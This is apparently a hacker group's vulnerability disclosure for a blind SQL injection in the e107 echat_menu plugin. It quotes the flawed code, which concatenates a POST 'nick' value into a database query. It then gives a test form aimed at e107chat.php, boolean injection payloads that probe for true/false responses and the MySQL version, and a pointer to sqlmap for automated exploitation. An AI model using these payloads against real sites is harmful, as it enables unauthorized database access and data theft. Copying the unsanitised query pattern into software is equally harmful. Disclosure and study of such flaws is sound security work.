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  #               ::e107 Plugin echat MENU  Blind SQL Injection Vulnerability::                    #
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Virangar Security Team

www.virangar.net
www.virangar.ir

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Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)

-------vuln codes in:-----------
e107chat.php:
line 109:       $nick = $_POST['nick'];
..
..
line 171:db_Select("user","user_name","user_name='".$nick."'");
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exploit:
[-]note=becuse e107 using diffrent prefix/table names it's impossible to writting exploit for it :(
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lets test the bug white a simply html form that post data to "e107chat.php" :
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">action="http://localhost/e107/plugins/echat_menu/e107chat.php">

nick:




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see the result:

nick: hadi and 1=1--         #page loaded whit any errors.
nick: hadi and 1=2--         #page loaded whit any data and some error



cheking the mysql version:

nick: hadi and substring(@@version,1,1)=5--
or
nick: hadi and substring(@@version,1,1)=4--

# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...
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young iranian h4ck3rz